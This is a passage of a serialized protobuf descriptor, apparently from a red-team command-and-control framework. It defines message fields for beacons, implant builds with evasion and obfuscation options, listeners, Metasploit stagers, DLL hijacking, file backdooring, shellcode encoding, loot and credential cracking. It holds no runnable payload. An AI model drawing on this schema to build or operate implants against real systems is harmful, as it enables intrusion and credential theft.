\x01(\x03\x12\x10\n\x08\x41\x63tiveC2\x18\x0f \x01(\t\x12\x0f\n\x07Version\x18\x10 \x01(\t\x12\x0f\n\x07\x45vasion\x18\x11 \x01(\x08\x12\x0e\n\x06IsDead\x18\x12 \x01(\x08\x12\x10\n\x08ProxyURL\x18\x14 \x01(\t\x12\x19\n\x11ReconnectInterval\x18\x15 \x01(\x03\x12\x10\n\x08Interval\x18\x16 \x01(\x03\x12\x0e\n\x06Jitter\x18\x17 \x01(\x03\x12\x0e\n\x06\x42urned\x18\x18 \x01(\x08\x12\x13\n\x0bNextCheckin\x18\x19 \x01(\x03\x12\x12\n\nTasksCount\x18\x1a \x01(\x03\x12\x1b\n\x13TasksCountCompleted\x18\x1b \x01(\x03\x12\x0e\n\x06Locale\x18\x1c \x01(\t\x12\x14\n\x0c\x46irstContact\x18\x1d \x01(\x03\",\n\x07\x42\x65\x61\x63ons\x12!\n\x07\x42\x65\x61\x63ons\x18\x02 \x03(\x0b\x32\x10.clientpb.Beacon\"\xa9\x01\n\nBeaconTask\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x02 \x01(\t\x12\x11\n\tCreatedAt\x18\x03 \x01(\x03\x12\r\n\x05State\x18\x04 \x01(\t\x12\x0e\n\x06SentAt\x18\x05 \x01(\x03\x12\x13\n\x0b\x43ompletedAt\x18\x06 \x01(\x03\x12\x0f\n\x07Request\x18\x07 \x01(\x0c\x12\x10\n\x08Response\x18\x08 \x01(\x0c\x12\x13\n\x0b\x44\x65scription\x18\t \x01(\t\"D\n\x0b\x42\x65\x61\x63onTasks\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x01 \x01(\t\x12#\n\x05Tasks\x18\x02 \x03(\x0b\x32\x14.clientpb.BeaconTask\";\n\tImplantC2\x12\x10\n\x08Priority\x18\x01 \x01(\r\x12\x0b\n\x03URL\x18\x02 \x01(\t\x12\x0f\n\x07Options\x18\x03 \x01(\t\"\xcd\x08\n\rImplantConfig\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x10\n\x08IsBeacon\x18\x02 \x01(\x08\x12\x16\n\x0e\x42\x65\x61\x63onInterval\x18\x03 \x01(\x03\x12\x14\n\x0c\x42\x65\x61\x63onJitter\x18\x04 \x01(\x03\x12\x0c\n\x04GOOS\x18\x05 \x01(\t\x12\x0e\n\x06GOARCH\x18\x06 \x01(\t\x12\x0c\n\x04Name\x18\x07 \x01(\t\x12\r\n\x05\x44\x65\x62ug\x18\x08 \x01(\x08\x12\x0f\n\x07\x45vasion\x18\t \x01(\x08\x12\x18\n\x10ObfuscateSymbols\x18\n \x01(\x08\x12\x14\n\x0cTemplateName\x18\x0b \x01(\t\x12\x12\n\nMtlsCACert\x18\x14 \x01(\t\x12\x10\n\x08MtlsCert\x18\x15 \x01(\t\x12\x0f\n\x07MtlsKey\x18\x16 \x01(\t\x12\x1a\n\x12\x45\x43\x43ServerPublicKey\x18\x17 \x01(\t\x12\x14\n\x0c\x45\x43\x43PublicKey\x18\x18 \x01(\t\x12\x15\n\rECCPrivateKey\x18\x19 \x01(\t\x12\x1d\n\x15\x45\x43\x43PublicKeySignature\x18\x1a \x01(\t\x12\x1f\n\x17MinisignServerPublicKey\x18\x1b \x01(\t\x12\x18\n\x10WGImplantPrivKey\x18\x1e \x01(\t\x12\x16\n\x0eWGServerPubKey\x18\x1f \x01(\t\x12\x13\n\x0bWGPeerTunIP\x18 \x01(\t\x12\x19\n\x11WGKeyExchangePort\x18! \x01(\r\x12\x16\n\x0eWGTcpCommsPort\x18\" \x01(\r\x12\x19\n\x11ReconnectInterval\x18( \x01(\x03\x12\x1b\n\x13MaxConnectionErrors\x18) \x01(\r\x12\x13\n\x0bPollTimeout\x18* \x01(\x03\x12\x1f\n\x02\x43\x32\x18\x32 \x03(\x0b\x32\x13.clientpb.ImplantC2\x12\x15\n\rCanaryDomains\x18\x33 \x03(\t\x12\x1a\n\x12\x43onnectionStrategy\x18\x34 \x01(\t\x12\x19\n\x11LimitDomainJoined\x18< \x01(\x08\x12\x15\n\rLimitDatetime\x18= \x01(\t\x12\x15\n\rLimitHostname\x18> \x01(\t\x12\x15\n\rLimitUsername\x18? \x01(\t\x12\x17\n\x0fLimitFileExists\x18@ \x01(\t\x12\x13\n\x0bLimitLocale\x18\x41 \x01(\t\x12&\n\x06\x46ormat\x18\x64 \x01(\x0e\x32\x16.clientpb.OutputFormat\x12\x13\n\x0bIsSharedLib\x18\x65 \x01(\x08\x12\x10\n\x08\x46ileName\x18\x66 \x01(\t\x12\x11\n\tIsService\x18g \x01(\x08\x12\x13\n\x0bIsShellcode\x18h \x01(\x08\x12\x11\n\tRunAtLoad\x18i \x01(\x08\x12\x11\n\tDebugFile\x18j \x01(\t\x12\x14\n\x0cNetGoEnabled\x18k \x01(\x08\x12\x1e\n\x16TrafficEncodersEnabled\x18l \x01(\x08\x12\x17\n\x0fTrafficEncoders\x18m \x03(\t\x12\x1f\n\x06\x41ssets\x18\xc8\x01 \x03(\x0b\x32\x0e.commonpb.File\"]\n\x0eTrafficEncoder\x12\n\n\x02ID\x18\x01 \x01(\x04\x12\x1c\n\x04Wasm\x18\x02 \x01(\x0b\x32\x0e.commonpb.File\x12\x11\n\tSkipTests\x18\x08 \x01(\x08\x12\x0e\n\x06TestID\x18\t \x01(\t\"\x9b\x01\n\x11TrafficEncoderMap\x12;\n\x08\x45ncoders\x18\x01 \x03(\x0b\x32).clientpb.TrafficEncoderMap.EncodersEntry\x1aI\n\rEncodersEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\'\n\x05value\x18\x02 \x01(\x0b\x32\x18.clientpb.TrafficEncoder:\x02\x38\x01\"u\n\x12TrafficEncoderTest\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x11\n\tCompleted\x18\x02 \x01(\x08\x12\x0f\n\x07Success\x18\x03 \x01(\x08\x12\x10\n\x08\x44uration\x18\x04 \x01(\x03\x12\x0b\n\x03\x45rr\x18\t \x01(\t\x12\x0e\n\x06Sample\x18\n \x01(\x0c\"\x98\x01\n\x13TrafficEncoderTests\x12)\n\x07\x45ncoder\x18\x01 \x01(\x0b\x32\x18.clientpb.TrafficEncoder\x12+\n\x05Tests\x18\x02 \x03(\x0b\x32\x1c.clientpb.TrafficEncoderTest\x12\x15\n\rTotalDuration\x18\x03 \x01(\x03\x12\x12\n\nTotalTests\x18\x04 \x01(\x05\"S\n\x15\x45xternalImplantConfig\x12\'\n\x06\x43onfig\x18\x01 \x01(\x0b\x32\x17.clientpb.ImplantConfig\x12\x11\n\tOTPSecret\x18\x02 \x01(\t\"\\\n\x15\x45xternalImplantBinary\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x17\n\x0fImplantConfigID\x18\x02 \x01(\t\x12\x1c\n\x04\x46ile\x18\x03 \x01(\x0b\x32\x0e.commonpb.File\"\x8f\x01\n\rImplantBuilds\x12\x35\n\x07\x43onfigs\x18\x01 \x03(\x0b\x32$.clientpb.ImplantBuilds.ConfigsEntry\x1aG\n\x0c\x43onfigsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12&\n\x05value\x18\x02 \x01(\x0b\x32\x17.clientpb.ImplantConfig:\x02\x38\x01\"V\n\x0e\x43ompilerTarget\x12\x0c\n\x04GOOS\x18\x01 \x01(\t\x12\x0e\n\x06GOARCH\x18\x02 \x01(\t\x12&\n\x06\x46ormat\x18\x03 \x01(\x0e\x32\x16.clientpb.OutputFormat\"Z\n\rCrossCompiler\x12\x12\n\nTargetGOOS\x18\x01 \x01(\t\x12\x14\n\x0cTargetGOARCH\x18\x02 \x01(\t\x12\x0e\n\x06\x43\x43Path\x18\x03 \x01(\t\x12\x0f\n\x07\x43XXPath\x18\x04 \x01(\t\"\xba\x01\n\x08\x43ompiler\x12\x0c\n\x04GOOS\x18\x01 \x01(\t\x12\x0e\n\x06GOARCH\x18\x02 \x01(\t\x12)\n\x07Targets\x18\x03 \x03(\x0b\x32\x18.clientpb.CompilerTarget\x12/\n\x0e\x43rossCompilers\x18\x04 \x03(\x0b\x32\x17.clientpb.CrossCompiler\x12\x34\n\x12UnsupportedTargets\x18\x05 \x03(\x0b\x32\x18.clientpb.CompilerTarget\"\x19\n\tDeleteReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\"\x81\x01\n\tDNSCanary\x12\x13\n\x0bImplantName\x18\x01 \x01(\t\x12\x0e\n\x06\x44omain\x18\x02 \x01(\t\x12\x11\n\tTriggered\x18\x03 \x01(\x08\x12\x16\n\x0e\x46irstTriggered\x18\x04 \x01(\t\x12\x15\n\rLatestTrigger\x18\x05 \x01(\t\x12\r\n\x05\x43ount\x18\x06 \x01(\r\"1\n\x08\x43\x61naries\x12%\n\x08\x43\x61naries\x18\x01 \x03(\x0b\x32\x13.clientpb.DNSCanary\"\x18\n\nUniqueWGIP\x12\n\n\x02IP\x18\x01 \x01(\t\"G\n\x0eImplantProfile\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\'\n\x06\x43onfig\x18\x02 \x01(\x0b\x32\x17.clientpb.ImplantConfig\"=\n\x0fImplantProfiles\x12*\n\x08Profiles\x18\x01 \x03(\x0b\x32\x18.clientpb.ImplantProfile\"$\n\rRegenerateReq\x12\x13\n\x0bImplantName\x18\x01 \x01(\t\"z\n\x03Job\x12\n\n\x02ID\x18\x01 \x01(\r\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12\x13\n\x0b\x44\x65scription\x18\x03 \x01(\t\x12\x10\n\x08Protocol\x18\x04 \x01(\t\x12\x0c\n\x04Port\x18\x05 \x01(\r\x12\x0f\n\x07\x44omains\x18\x06 \x03(\t\x12\x13\n\x0bProfileName\x18\x07 \x01(\t\"%\n\x04Jobs\x12\x1d\n\x06\x41\x63tive\x18\x01 \x03(\x0b\x32\r.clientpb.Job\"\x18\n\nKillJobReq\x12\n\n\x02ID\x18\x01 \x01(\r\"&\n\x07KillJob\x12\n\n\x02ID\x18\x01 \x01(\r\x12\x0f\n\x07Success\x18\x02 \x01(\x08\"A\n\x0fMTLSListenerReq\x12\x0c\n\x04Host\x18\x01 \x01(\t\x12\x0c\n\x04Port\x18\x02 \x01(\r\x12\x12\n\nPersistent\x18\x03 \x01(\x08\"\x1d\n\x0cMTLSListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"n\n\rWGListenerReq\x12\x0c\n\x04Host\x18\x06 \x01(\t\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\r\n\x05TunIP\x18\x02 \x01(\t\x12\r\n\x05NPort\x18\x03 \x01(\r\x12\x0f\n\x07KeyPort\x18\x04 \x01(\r\x12\x12\n\nPersistent\x18\x05 \x01(\x08\"\x1b\n\nWGListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"w\n\x0e\x44NSListenerReq\x12\x0f\n\x07\x44omains\x18\x01 \x03(\t\x12\x10\n\x08\x43\x61naries\x18\x02 \x01(\x08\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x0c\n\x04Port\x18\x04 \x01(\r\x12\x12\n\nPersistent\x18\x05 \x01(\x08\x12\x12\n\nEnforceOTP\x18\x06 \x01(\x08\"\x1c\n\x0b\x44NSListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"\xf7\x01\n\x0fHTTPListenerReq\x12\x0e\n\x06\x44omain\x18\x01 \x01(\t\x12\x0c\n\x04Host\x18\x02 \x01(\t\x12\x0c\n\x04Port\x18\x03 \x01(\r\x12\x0e\n\x06Secure\x18\x04 \x01(\x08\x12\x0f\n\x07Website\x18\x05 \x01(\t\x12\x0c\n\x04\x43\x65rt\x18\x06 \x01(\x0c\x12\x0b\n\x03Key\x18\x07 \x01(\x0c\x12\x0c\n\x04\x41\x43ME\x18\x08 \x01(\x08\x12\x12\n\nPersistent\x18\t \x01(\x08\x12\x12\n\nEnforceOTP\x18\n \x01(\x08\x12\x17\n\x0fLongPollTimeout\x18\x0b \x01(\x03\x12\x16\n\x0eLongPollJitter\x18\x0c \x01(\x03\x12\x15\n\rRandomizeJARM\x18\r \x01(\x08\"E\n\rNamedPipesReq\x12\x10\n\x08PipeName\x18\x10 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"P\n\nNamedPipes\x12\x0f\n\x07Success\x18\x01 \x01(\x08\x12\x0b\n\x03\x45rr\x18\x02 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"B\n\x0bTCPPivotReq\x12\x0f\n\x07\x41\x64\x64ress\x18\x10 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"N\n\x08TCPPivot\x12\x0f\n\x07Success\x18\x01 \x01(\x08\x12\x0b\n\x03\x45rr\x18\x02 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\x1d\n\x0cHTTPListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"/\n\x08Sessions\x12#\n\x08Sessions\x18\x01 \x03(\x0b\x32\x11.clientpb.Session\">\n\tRenameReq\x12\x11\n\tSessionID\x18\x01 \x01(\t\x12\x10\n\x08\x42\x65\x61\x63onID\x18\x02 \x01(\t\x12\x0c\n\x04Name\x18\x03 \x01(\t\"6\n\x0bGenerateReq\x12\'\n\x06\x43onfig\x18\x01 \x01(\x0b\x32\x17.clientpb.ImplantConfig\"(\n\x08Generate\x12\x1c\n\x04\x46ile\x18\x01 \x01(\x0b\x32\x0e.commonpb.File\"\x80\x01\n\x06MSFReq\x12\x0f\n\x07Payload\x18\x01 \x01(\t\x12\r\n\x05LHost\x18\x02 \x01(\t\x12\r\n\x05LPort\x18\x03 \x01(\r\x12\x0f\n\x07\x45ncoder\x18\x04 \x01(\t\x12\x12\n\nIterations\x18\x05 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x93\x01\n\x0cMSFRemoteReq\x12\x0f\n\x07Payload\x18\x01 \x01(\t\x12\r\n\x05LHost\x18\x02 \x01(\t\x12\r\n\x05LPort\x18\x03 \x01(\r\x12\x0f\n\x07\x45ncoder\x18\x04 \x01(\t\x12\x12\n\nIterations\x18\x05 \x01(\x05\x12\x0b\n\x03PID\x18\x08 \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xa6\x01\n\x11StagerListenerReq\x12)\n\x08Protocol\x18\x01 \x01(\x0e\x32\x17.clientpb.StageProtocol\x12\x0c\n\x04Host\x18\x02 \x01(\t\x12\x0c\n\x04Port\x18\x03 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x04 \x01(\x0c\x12\x0c\n\x04\x43\x65rt\x18\x05 \x01(\x0c\x12\x0b\n\x03Key\x18\x06 \x01(\x0c\x12\x0c\n\x04\x41\x43ME\x18\x07 \x01(\x08\x12\x13\n\x0bProfileName\x18\x08 \x01(\t\"\x1f\n\x0eStagerListener\x12\r\n\x05JobID\x18\x01 \x01(\r\"H\n\x0fShellcodeRDIReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x14\n\x0c\x46unctionName\x18\x02 \x01(\t\x12\x11\n\tArguments\x18\x03 \x01(\t\"\x1c\n\x0cShellcodeRDI\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\"\x91\x01\n\x0cMsfStagerReq\x12\x0c\n\x04\x41rch\x18\x01 \x01(\t\x12\x0e\n\x06\x46ormat\x18\x02 \x01(\t\x12\x0c\n\x04Port\x18\x03 \x01(\r\x12\x0c\n\x04Host\x18\x04 \x01(\t\x12\n\n\x02OS\x18\x05 \x01(\t\x12)\n\x08Protocol\x18\x06 \x01(\x0e\x32\x17.clientpb.StageProtocol\x12\x10\n\x08\x42\x61\x64\x43hars\x18\x07 \x03(\t\")\n\tMsfStager\x12\x1c\n\x04\x46ile\x18\x01 \x01(\x0b\x32\x0e.commonpb.File\"s\n\x0cGetSystemReq\x12\x16\n\x0eHostingProcess\x18\x01 \x01(\t\x12\'\n\x06\x43onfig\x18\x02 \x01(\x0b\x32\x17.clientpb.ImplantConfig\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x93\x01\n\nMigrateReq\x12\x0b\n\x03Pid\x18\x01 \x01(\r\x12\'\n\x06\x43onfig\x18\x02 \x01(\x0b\x32\x17.clientpb.ImplantConfig\x12+\n\x07\x45ncoder\x18\x03 \x01(\x0e\x32\x1a.clientpb.ShellcodeEncoder\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"5\n\x0f\x43reateTunnelReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"7\n\x0c\x43reateTunnel\x12\x11\n\tSessionID\x18\x01 \x01(\r\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\"J\n\x0e\x43loseTunnelReq\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x80\x01\n\x0fPivotGraphEntry\x12\x0e\n\x06PeerID\x18\x01 \x01(\x03\x12\"\n\x07Session\x18\x02 \x01(\x0b\x32\x11.clientpb.Session\x12\x0c\n\x04Name\x18\x03 \x01(\t\x12+\n\x08\x43hildren\x18\x04 \x03(\x0b\x32\x19.clientpb.PivotGraphEntry\"9\n\nPivotGraph\x12+\n\x08\x43hildren\x18\x01 \x03(\x0b\x32\x19.clientpb.PivotGraphEntry\"H\n\x06\x43lient\x12\n\n\x02ID\x18\x01 \x01(\r\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12$\n\x08Operator\x18\x03 \x01(\x0b\x32\x12.clientpb.Operator\"\x97\x01\n\x05\x45vent\x12\x11\n\tEventType\x18\x01 \x01(\t\x12\"\n\x07Session\x18\x02 \x01(\x0b\x32\x11.clientpb.Session\x12\x1a\n\x03Job\x18\x03 \x01(\x0b\x32\r.clientpb.Job\x12 \n\x06\x43lient\x18\x04 \x01(\x0b\x32\x10.clientpb.Client\x12\x0c\n\x04\x44\x61ta\x18\x05 \x01(\x0c\x12\x0b\n\x03\x45rr\x18\x06 \x01(\t\"2\n\tOperators\x12%\n\tOperators\x18\x01 \x03(\x0b\x32\x12.clientpb.Operator\"(\n\x08Operator\x12\x0e\n\x06Online\x18\x01 \x01(\x08\x12\x0c\n\x04Name\x18\x02 \x01(\t\"R\n\nWebContent\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x13\n\x0b\x43ontentType\x18\x02 \x01(\t\x12\x10\n\x04Size\x18\x03 \x01(\x04\x42\x02\x30\x01\x12\x0f\n\x07\x43ontent\x18\t \x01(\x0c\"\xa5\x01\n\x11WebsiteAddContent\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12;\n\x08\x43ontents\x18\x02 \x03(\x0b\x32).clientpb.WebsiteAddContent.ContentsEntry\x1a\x45\n\rContentsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12#\n\x05value\x18\x02 \x01(\x0b\x32\x14.clientpb.WebContent:\x02\x38\x01\"3\n\x14WebsiteRemoveContent\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\r\n\x05Paths\x18\x02 \x03(\t\"\x91\x01\n\x07Website\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x31\n\x08\x43ontents\x18\x02 \x03(\x0b\x32\x1f.clientpb.Website.ContentsEntry\x1a\x45\n\rContentsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12#\n\x05value\x18\x02 \x01(\x0b\x32\x14.clientpb.WebContent:\x02\x38\x01\"/\n\x08Websites\x12#\n\x08Websites\x18\x01 \x03(\x0b\x32\x11.clientpb.Website\"h\n\x0eWGClientConfig\x12\x14\n\x0cServerPubKey\x18\x01 \x01(\t\x12\x18\n\x10\x43lientPrivateKey\x18\x02 \x01(\t\x12\x14\n\x0c\x43lientPubKey\x18\x03 \x01(\t\x12\x10\n\x08\x43lientIP\x18\x04 \x01(\t\"\x8a\x01\n\x04Loot\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12$\n\x08\x46ileType\x18\x03 \x01(\x0e\x32\x12.clientpb.FileType\x12\x16\n\x0eOriginHostUUID\x18\x04 \x01(\t\x12\x0c\n\x04Size\x18\x05 \x01(\x03\x12\x1c\n\x04\x46ile\x18\t \x01(\x0b\x32\x0e.commonpb.File\"\'\n\x07\x41llLoot\x12\x1c\n\x04Loot\x18\x01 \x03(\x0b\x32\x0e.clientpb.Loot\"1\n\x03IOC\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x10\n\x08\x46ileHash\x18\x02 \x01(\t\x12\n\n\x02ID\x18\x03 \x01(\t\"\x1f\n\rExtensionData\x12\x0e\n\x06Output\x18\x01 \x01(\t\"\x89\x02\n\x04Host\x12\x10\n\x08Hostname\x18\x01 \x01(\t\x12\x10\n\x08HostUUID\x18\x02 \x01(\t\x12\x11\n\tOSVersion\x18\x03 \x01(\t\x12\x1b\n\x04IOCs\x18\x04 \x03(\x0b\x32\r.clientpb.IOC\x12\x38\n\rExtensionData\x18\x05 \x03(\x0b\x32!.clientpb.Host.ExtensionDataEntry\x12\x0e\n\x06Locale\x18\x06 \x01(\t\x12\x14\n\x0c\x46irstContact\x18\x07 \x01(\x03\x1aM\n\x12\x45xtensionDataEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12&\n\x05value\x18\x02 \x01(\x0b\x32\x17.clientpb.ExtensionData:\x02\x38\x01\")\n\x08\x41llHosts\x12\x1d\n\x05Hosts\x18\x01 \x03(\x0b\x32\x0e.clientpb.Host\"\xa2\x01\n\x0c\x44llHijackReq\x12\x18\n\x10ReferenceDLLPath\x18\x01 \x01(\t\x12\x16\n\x0eTargetLocation\x18\x02 \x01(\t\x12\x14\n\x0cReferenceDLL\x18\x03 \x01(\x0c\x12\x11\n\tTargetDLL\x18\x04 \x01(\x0c\x12\x13\n\x0bProfileName\x18\x05 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"1\n\tDllHijack\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"X\n\x0b\x42\x61\x63kdoorReq\x12\x10\n\x08\x46ilePath\x18\x01 \x01(\t\x12\x13\n\x0bProfileName\x18\x02 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"0\n\x08\x42\x61\x63kdoor\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xaf\x01\n\x12ShellcodeEncodeReq\x12+\n\x07\x45ncoder\x18\x01 \x01(\x0e\x32\x1a.clientpb.ShellcodeEncoder\x12\x14\n\x0c\x41rchitecture\x18\x02 \x01(\t\x12\x12\n\nIterations\x18\x03 \x01(\r\x12\x10\n\x08\x42\x61\x64\x43hars\x18\x04 \x01(\x0c\x12\x0c\n\x04\x44\x61ta\x18\x08 \x01(\x0c\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"E\n\x0fShellcodeEncode\x12\x0c\n\x04\x44\x61ta\x18\x08 \x01(\x0c\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xa1\x01\n\x13ShellcodeEncoderMap\x12=\n\x08\x45ncoders\x18\x01 \x03(\x0b\x32+.clientpb.ShellcodeEncoderMap.EncodersEntry\x1aK\n\rEncodersEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12)\n\x05value\x18\x02 \x01(\x0e\x32\x1a.clientpb.ShellcodeEncoder:\x02\x38\x01\"S\n\x13\x45xternalGenerateReq\x12\'\n\x06\x43onfig\x18\x01 \x01(\x0b\x32\x17.clientpb.ImplantConfig\x12\x13\n\x0b\x42uilderName\x18\x02 \x01(\t\"/\n\x08\x42uilders\x12#\n\x08\x42uilders\x18\x01 \x03(\x0b\x32\x11.clientpb.Builder\"\xba\x01\n\x07\x42uilder\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x14\n\x0cOperatorName\x18\x02 \x01(\t\x12\x0c\n\x04GOOS\x18\x03 \x01(\t\x12\x0e\n\x06GOARCH\x18\x04 \x01(\t\x12\x11\n\tTemplates\x18\x05 \x03(\t\x12)\n\x07Targets\x18\x06 \x03(\x0b\x32\x18.clientpb.CompilerTarget\x12/\n\x0e\x43rossCompilers\x18\x07 \x03(\x0b\x32\x17.clientpb.CrossCompiler\"\xb0\x01\n\nCredential\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x10\n\x08Username\x18\x02 \x01(\t\x12\x11\n\tPlaintext\x18\x03 \x01(\t\x12\x0c\n\x04Hash\x18\x04 \x01(\t\x12$\n\x08HashType\x18\x05 \x01(\x0e\x32\x12.clientpb.HashType\x12\x11\n\tIsCracked\x18\x06 \x01(\x08\x12\x16\n\x0eOriginHostUUID\x18\x07 \x01(\t\x12\x12\n\nCollection\x18\x08 \x01(\t\"8\n\x0b\x43redentials\x12)\n\x0b\x43redentials\x18\x01 \x03(\x0b\x32\x14.clientpb.Credential\">\n\rCrackstations\x12-\n\rCrackstations\x18\x01 \x03(\x0b\x32\x16.clientpb.Crackstation\"\xaf\x01\n\x12\x43rackstationStatus\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x10\n\x08HostUUID\x18\x02 \x01(\t\x12\x1f\n\x05State\x18\x03 \x01(\x0e\x32\x10.clientpb.States\x12\x19\n\x11\x43urrentCrackJobID\x18\x04 \x01(\t\x12\x11\n\tIsSyncing\x18\x05 \x01(\x08\x12*\n\x07Syncing\x18\x06 \x01(\x0b\x32\x19.clientpb.CrackSyncStatus\"\x8c\x01\n\x0f\x43rackSyncStatus\x12\r\n\x05Speed\x18\x01 \x01(\x02\x12\x39\n\x08Progress\x18\x02 \x03(\x0b\x32\'.clientpb.CrackSyncStatus.ProgressEntry\x1a/\n\rProgressEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\x02:\x02\x38\x01\"\xa1\x01\n\x0e\x43rackBenchmark\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x10\n\x08HostUUID\x18\x02 \x01(\t\x12<\n\nBenchmarks\x18\x03 \x03(\x0b\x32(.clientpb.CrackBenchmark.BenchmarksEntry\x1a\x31\n\x0f\x42\x65nchmarksEntry\x12\x0b\n\x03key\x18\x01 \x01(\x05\x12\r\n\x05value\x18\x02 \x01(\x04:\x02\x38\x01\"\x9a\x01\n\tCrackTask\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x10\n\x08HostUUID\x18\x02 \x01(\t\x12\x11\n\tCreatedAt\x18\x03 \x01(\x03\x12\x11\n\tStartedAt\x18\x04 \x01(\x03\x12\x13\n\x0b\x43ompletedAt\x18\x05 \x01(\x03\x12\x0b\n\x03\x45rr\x18\x07 \x01(\t\x12\'\n\x07\x43ommand\x18\t \x01(\x0b\x32\x16.clientpb.CrackCommand\"\xfb\x02\n\x0c\x43rackstation\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x14\n\x0cOperatorName\x18\x02 \x01(\t\x12\x0c\n\x04GOOS\x18\x03 \x01(\t\x12\x0e\n\x06GOARCH\x18\x04 \x01(\t\x12\x16\n\x0eHashcatVersion\x18\x05 \x01(\t\x12\x10\n\x08HostUUID\x18\x06 \x01(\t\x12\x0f\n\x07Version\x18\x07 \x01(\t\x12:\n\nBenchmarks\x18\x08 \x03(\x0b\x32&.clientpb.Crackstation.BenchmarksEntry\x12\'\n\x04\x43UDA\x18\x64 \x03(\x0b\x32\x19.clientpb.CUDABackendInfo\x12)\n\x05Metal\x18\x65 \x03(\x0b\x32\x1a.clientpb.MetalBackendInfo\x12+\n\x06OpenCL\x18\x66 \x03(\x0b\x32\x1b.clientpb.OpenCLBackendInfo\x1a\x31\n\x0f\x42\x65nchmarksEntry\x12\x0b\n\x03key\x18\x01 \x01(\x05\x12\r\n\x05value\x18\x02 \x01(\x04:\x02\x38\x01\"\xc1\x01\n\x0f\x43UDABackendInfo\x12\x0c\n\x04Type\x18\x01 \x01(\t\x12\x10\n\x08VendorID\x18\x02 \x01(\x05\x12\x0e\n\x06Vendor\x18\x03 \x01(\t\x12\x0c\n\x04Name\x18\x04 \x01(\t\x12\x0f\n\x07Version\x18\x05 \x01(\t\x12\x12\n\nProcessors\x18\x06 \x01(\x05\x12\r\n\x05\x43lock\x18\x07 \x01(\x05\x12\x13\n\x0bMemoryTotal\x18\x08 \x01(\t\x12\x12\n\nMemoryFree\x18\t \x01(\t\x12\x13\n\x0b\x43UDAVersion\x18\n \x01(\t\"\xe2\x01\n\x11OpenCLBackendInfo\x12\x0c\n\x04Type\x18\x01 \x01(\t\x12\x10\n\x08VendorID\x18\x02 \x01(\x05\x12\x0e\n\x06Vendor\x18\x03 \x01(\t\x12\x0c\n\x04Name\x18\x04 \x01(\t\x12\x0f\n\x07Version\x18\x05 \x01(\t\x12\x12\n\nProcessors\x18\x06 \x01(\x05\x12\r\n\x05\x43lock\x18\x07 \x01(\x05\x12\x13\n\x0bMemoryTotal\x18\x08 \x01(\t\x12\x12\n\nMemoryFree\x18\t \x01(\t\x12\x15\n\rOpenCLVersion\x18\n \x01(\t\x12\x1b\n\x13OpenCLDriverVersion\x18\x0b \x01(\t\"\xc3\x01\n\x10MetalBackendInfo\x12\x0c\n\x04Type\x18\x01 \x01(\t\x12\x10\n\x08VendorID\x18\x02 \x01(\x05\x12\x0e\n\x06Vendor\x18\x03 \x01(\t\x12\x0c\n\x04Name\x18\x04 \x01(\t\x12\x0f\n\x07Version\x18\x05 \x01(\t\x12\x12\n\nProcessors\x18\x06 